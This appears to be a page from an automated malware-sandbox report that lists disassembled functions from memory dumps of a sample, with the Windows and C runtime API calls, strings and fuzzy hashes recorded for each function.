Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: ByteCharInitializeMultiWide_memsetlstrlen
String ID:
API String ID: 4073151907-0
Opcode ID: a5b21abc51d70361f0c4bdfd237f2ad48ce2c1a6c487fa7abf31cdbc4d6691fd
Instruction ID: 643029faf5a280c88e49533a5ea94790e45b7ec269e2751bbc5c19a93816d1a2
Opcode Fuzzy Hash: a5b21abc51d70361f0c4bdfd237f2ad48ce2c1a6c487fa7abf31cdbc4d6691fd
Instruction Fuzzy Hash: 603108B4A40228AFEB10DBA4CC8CEDA77B9EF59740F104598F519DB251DB709B81CF60

Function 0053798C Relevance: 6.1, APIs: 4, Instructions: 62windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00537993

Part of subcall function 005373CC: _malloc.LIBCMT ref: 005373EA

__CxxThrowException@8.LIBCMT ref: 005379D8
FormatMessageW.KERNEL32(00001100,00000000,?,00000800,0040E4B8,00000000,00000000,?,?,0070D050,00000004,0040E4B8,?), ref: 00537A02
LocalFree.KERNEL32(0040E4B8,00000004,0040E4B8,?), ref: 00537A30

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Exception@8FormatFreeH_prolog3LocalMessageThrow_malloc
String ID:
API String ID: 1776251131-0
Opcode ID: 5e0989503894a89ce33ca2c69b4bc4e8cee45f45ddce4aba07ae5d5cd333a11d
Instruction ID: f4dad5bf4fd8331f79df218eef6df64bca82330d4d780d32d99e6a7cfba37b3f
Opcode Fuzzy Hash: 5e0989503894a89ce33ca2c69b4bc4e8cee45f45ddce4aba07ae5d5cd333a11d
Instruction Fuzzy Hash: 431186B1904309AFDB11DF54CC05FAE3BA6FF88710F208619F9559B191D7719951CB90

Function 0054014D Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 0054015D
GetTopWindow.USER32(00000000), ref: 0054019C
GetWindow.USER32(00000000,00000002), ref: 005401BA

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 11b3032fbc6051c53b66df1080ab32d85e189235976543269dadaf9163f93417
Instruction ID: 8fcedd5c2437ee45f2f4682e75fc443542b30d37ae301507b3d03c84d433c31c
Opcode Fuzzy Hash: 11b3032fbc6051c53b66df1080ab32d85e189235976543269dadaf9163f93417
Instruction Fuzzy Hash: A301E53200161ABBCF126F919C09EDF3F2ABF89354F196110FA15650A0DB36C961EBA1

Function 03652265 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0365228B

Part of subcall function 036520B7: __fltout2.LIBCMT ref: 036520E2

__cftog_l.LIBCMT ref: 036522B1
__cftoe_l.LIBCMT ref: 036522E3

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 100b59af85060d8f11adc9cab5dc5a16f52c5d4488a7ea7790dde69870441a60
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 0411403A04014EBBCF129F84CC51CEE3F26BF19251F498925FE1859530D637C5B2AB89

Function 10012261 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 10012287

Part of subcall function 100120B3: __fltout2.LIBCMT ref: 100120DE

__cftog_l.LIBCMT ref: 100122AD
__cftoe_l.LIBCMT ref: 100122DF

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: d628bd778cdf467a8e3ad5f5b80e9ec9ac3b556a525b6735c1659829dff4249a
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: FA1148B644018ABBCF169F84CC418EE3F62FB19394B558515FE2859131D336D9B2EB81

Function 00538190 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 005381C2
__CxxThrowException@8.LIBCMT ref: 005381A6

Part of subcall function 00641C89: RaiseException.KERNEL32(00401FC3,?,ED2F953D,006FC518,00401FC3,?,0071C220,?,ED2F953D), ref: 00641CCB

__CxxThrowException@8.LIBCMT ref: 005381DE
__EH_prolog3.LIBCMT ref: 005381EB

Part of subcall function 0054D6E3: LocalAlloc.KERNEL32(00000040,?,?,005381FA,00000164,00000004,000000FF,0070D1E0,?,?,?,00537A2A,00000000,?,?,0040E4B8), ref: 0054D6ED

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Exception@8Throw$AllocExceptionH_prolog3LocalRaise
String ID:
API String ID: 793778368-0
Opcode ID: ca81457d4de920e0e9a4b435b2de6e2e86ac664cf2db3769abdb34d4a3b4ab93
Instruction ID: cd24cc8813b73678d992765c0f20a32a7336029e90e4c99d5b6fa40ed009152a
Opcode Fuzzy Hash: ca81457d4de920e0e9a4b435b2de6e2e86ac664cf2db3769abdb34d4a3b4ab93
Instruction Fuzzy Hash: 82F081F090030CFBDB54FBD58C4AE9E7AEEAB85700F610168B10497141EAF46F408265

Function 0364BD0C Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0364BD26

Part of subcall function 0364B4CF: __FF_MSGBANNER.LIBCMT ref: 0364B4E8
Part of subcall function 0364B4CF: __NMSG_WRITE.LIBCMT ref: 0364B4EF
Part of subcall function 0364B4CF: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 0364B514

std::exception::exception.LIBCMT ref: 0364BD5B
std::exception::exception.LIBCMT ref: 0364BD75
__CxxThrowException@8.LIBCMT ref: 0364BD86

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: 7c2a2ce753ea75b9086bf07cd7115e04596d0922f47d555c69502c2f3612d0f7
Instruction ID: 2c35f42e12a34a8fd1b4abb2e0a1e017750c2777b7215d78d04966e0cbc26235
Opcode Fuzzy Hash: 7c2a2ce753ea75b9086bf07cd7115e04596d0922f47d555c69502c2f3612d0f7
Instruction Fuzzy Hash: 5AF02279C0034ABADB04FB94CC80AEE7AB9EF00610F64019DF855EF290CB74CB668754

Function 00401000 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 349COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040133F

Strings

VUUU, xrefs: 004012F1
string too long, xrefs: 0040133A

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: VUUU$string too long
API String ID: 909987262-2095466819
Opcode ID: 6e096561287a09d7b5ede593103a1efb539944f00072bc765df1a0d9779e2e2b
Instruction ID: d99d58f76e16cf0adc9b54881a7f57cc5e584403886d3e38afc913bc0f384d50
Opcode Fuzzy Hash: 6e096561287a09d7b5ede593103a1efb539944f00072bc765df1a0d9779e2e2b
Instruction Fuzzy Hash: 11D1A4313046908BDB29CF2CC55066AB7F2FF46300B544A6EE492AF7E2C779E941C799

Function 00401B40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00401BB5
_memmove.LIBCMT ref: 00401C06

Part of subcall function 00401E20: std::_Xinvalid_argument.LIBCPMT ref: 00401E3A

Strings

string too long, xrefs: 00401BB0

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: a8942cac172f09dfd1cdfc1b2e0bf65ebecc830be2f48b96fe9bc1d522a489f0
Instruction ID: 75f1ebdf17e935f49ec4d93712a82a5310d4e7158359f25100c90ea7e5a285df
Opcode Fuzzy Hash: a8942cac172f09dfd1cdfc1b2e0bf65ebecc830be2f48b96fe9bc1d522a489f0
Instruction Fuzzy Hash: 2731D5323046105BD7249A5CE88096BF7FAEBA2760B20093FF451DB7E1D779EC4083A9

Function 0041EA70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

_localeconv.LIBCMT ref: 0041EAA0

Part of subcall function 0063AF33: __getptd.LIBCMT ref: 0063AF33

Strings

false, xrefs: 0041EB02
true, xrefs: 0041EB2C

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: __getptd_localeconv
String ID: false$true
API String ID: 1421026308-2658103896
Opcode ID: ec33c37baa678de3168b08d80e997cec1800c41dacc77a30a62143b9279a9874
Instruction ID: 9f07bac8818dbdf88d1bf0249f562d2a25c41be806f77280f9c4413154df1e15
Opcode Fuzzy Hash: ec33c37baa678de3168b08d80e997cec1800c41dacc77a30a62143b9279a9874
Instruction Fuzzy Hash: B5312075D0C6818BCB15DF289481666BFE2AF49310F1C44ADED874F303D676D909C796

Function 004058D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004058E7

Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD69
Part of subcall function 0065BD54: __CxxThrowException@8.LIBCMT ref: 0065BD7E
Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD8F

_memmove.LIBCMT ref: 00405931

Strings

string too long, xrefs: 004058E2

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 1785806476-2556327735
Opcode ID: 581c8d35fe27da5bed94ee6c4c29c0b1f74af0edc716254284dda947318169df
Instruction ID: fe8b88f9a0e379717774326513d91cb2ce5f1dc707cbfffd4cd1fcaa9a8e13fc
Opcode Fuzzy Hash: 581c8d35fe27da5bed94ee6c4c29c0b1f74af0edc716254284dda947318169df
Instruction Fuzzy Hash: FF11B4B2514B149BDB24EE78E8C093BB3A9FF51324B144A3FE487D31C1D775A8488B68

Function 00401920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040193B

Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD69
Part of subcall function 0065BD54: __CxxThrowException@8.LIBCMT ref: 0065BD7E
Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD8F

std::_Xinvalid_argument.LIBCPMT ref: 00401952

Strings

string too long, xrefs: 00401936, 0040194D

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: cba78605f68a82ce49e7065a14f1622c77ff82ff18d2d4c503214a5de30d3f6b
Instruction ID: c2cea7e1ea6b9128a75631a2b2bf39ccf89588a0b0eaf6fe25adba1571a3e9b9
Opcode Fuzzy Hash: cba78605f68a82ce49e7065a14f1622c77ff82ff18d2d4c503214a5de30d3f6b
Instruction Fuzzy Hash: BE1106723046104BD720AA5CE890A7AF3E9EF91760F10063FF692D77E1C7B49804C3A8

Function 00401C80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00401C94

Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD69
Part of subcall function 0065BD54: __CxxThrowException@8.LIBCMT ref: 0065BD7E
Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD8F

_memmove.LIBCMT ref: 00401CDB

Strings

string too long, xrefs: 00401C8F

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 1785806476-2556327735
Opcode ID: 2375944a4a6f7e8414832a35796bae20303f3c3520c9be5b023d117e8512a10a
Instruction ID: dc466a4410b8a437badef737a8bf2bc7ac7192ab69bd59b092e7e9cd2146d576
Opcode Fuzzy Hash: 2375944a4a6f7e8414832a35796bae20303f3c3520c9be5b023d117e8512a10a
Instruction Fuzzy Hash: 5D11DA711487145BE7249D78A8C0A2BB799AF51314F100A3FE497932D2D775E4448658

Function 00405840 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00405856

Part of subcall function 0065BDA1: std::exception::exception.LIBCMT ref: 0065BDB6
Part of subcall function 0065BDA1: __CxxThrowException@8.LIBCMT ref: 0065BDCB
Part of subcall function 0065BDA1: std::exception::exception.LIBCMT ref: 0065BDDC

_memmove.LIBCMT ref: 00405894

Strings

invalid string position, xrefs: 00405851

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: invalid string position
API String ID: 1785806476-1799206989
Opcode ID: 7dc52565d4be457e8fc316c6bbb6301fbb3776693761ba892fb07848e6a5fcc3
Instruction ID: f1b391fdf39913b613b2a6ca5ff4fbe537380ea5887ccbfe4d44d873e70c66cd
Opcode Fuzzy Hash: 7dc52565d4be457e8fc316c6bbb6301fbb3776693761ba892fb07848e6a5fcc3
Instruction Fuzzy Hash: 6D11C633700A148BC724EE6DD98086BB3AAEFD5755320893FD842DB654DA71D826CBD8

Function 00402080 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00402096

Part of subcall function 0065BDA1: std::exception::exception.LIBCMT ref: 0065BDB6
Part of subcall function 0065BDA1: __CxxThrowException@8.LIBCMT ref: 0065BDCB
Part of subcall function 0065BDA1: std::exception::exception.LIBCMT ref: 0065BDDC

_memmove.LIBCMT ref: 004020CF

Strings

invalid string position, xrefs: 00402091

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: invalid string position
API String ID: 1785806476-1799206989
Opcode ID: 360e3b9430fae270ea65226de6d74c28aad8cfc974b640de082e0e73a539a4f7
Instruction ID: a89436a13e877e3da33af3665940be8a03eb1ed28cdd035564101695d2e7b95c
Opcode Fuzzy Hash: 360e3b9430fae270ea65226de6d74c28aad8cfc974b640de082e0e73a539a4f7
Instruction Fuzzy Hash: 2F01C8323003544BC725CA6CDA8496AB7AAEBD1710B24493EE681D77C1C6F6DC41D7A8

Function 0064E10C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_strcpy_s.LIBCMT ref: 0064E11D
__invoke_watson.LIBCMT ref: 0064E171

Part of subcall function 0064DFAC: _strcat_s.LIBCMT ref: 0064DFCB

Strings

Od, xrefs: 0064E113, 0064E116

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: __invoke_watson_strcat_s_strcpy_s
String ID: Od
API String ID: 312943863-1194042738
Opcode ID: 3d041f71868a7de1478b819e5a68ddf22e67a0a5aabb249086b01cf0cdc4e7b3
Instruction ID: 0cb6e68ff4e7129cb42d9cbd664d60d965e4d9997bf68d529b1bfa7178f8a2a2
Opcode Fuzzy Hash: 3d041f71868a7de1478b819e5a68ddf22e67a0a5aabb249086b01cf0cdc4e7b3
Instruction Fuzzy Hash: 9CF0F6B24802487FDF516E60CC02DD73B5FAF11360F488065FA094B112E3739D18C790

Function 03650BBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 03650BE6

Part of subcall function 0364EA0D: __getptd_noexit.LIBCMT ref: 0364EA10
Part of subcall function 0364EA0D: __amsg_exit.LIBCMT ref: 0364EA1D

__CallSettingFrame@12.LIBCMT ref: 03650C32

Strings

j, xrefs: 03650BBC

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: CallFrame@12Setting__amsg_exit__getptd__getptd_noexit
String ID: j
API String ID: 4140145597-2137352139
Opcode ID: 4255597884e4c706d015ab5a2cc04f3f2598fbc4e01f63f3b4cdc71a0b6bc24f
Instruction ID: 7bc3d2a50003b7b84e78ef170cf7c934b947d52cacec096edb195645c77d320a
Opcode Fuzzy Hash: 4255597884e4c706d015ab5a2cc04f3f2598fbc4e01f63f3b4cdc71a0b6bc24f
Instruction Fuzzy Hash: FF117975C09255EFCB21DF18C5983ACBB70BB0671CF18819EE8A92F582C3759952CB81

Function 10010BB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 10010BE2

Part of subcall function 1000EA09: __getptd_noexit.LIBCMT ref: 1000EA0C
Part of subcall function 1000EA09: __amsg_exit.LIBCMT ref: 1000EA19

__CallSettingFrame@12.LIBCMT ref: 10010C2E

Strings

j, xrefs: 10010BB8

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: CallFrame@12Setting__amsg_exit__getptd__getptd_noexit
String ID: j
API String ID: 4140145597-2137352139
Opcode ID: 4255597884e4c706d015ab5a2cc04f3f2598fbc4e01f63f3b4cdc71a0b6bc24f
Instruction ID: c06a1c58be8673991bec95017757c486347b6274bbde7add83dd351e2b3b0df6
Opcode Fuzzy Hash: 4255597884e4c706d015ab5a2cc04f3f2598fbc4e01f63f3b4cdc71a0b6bc24f
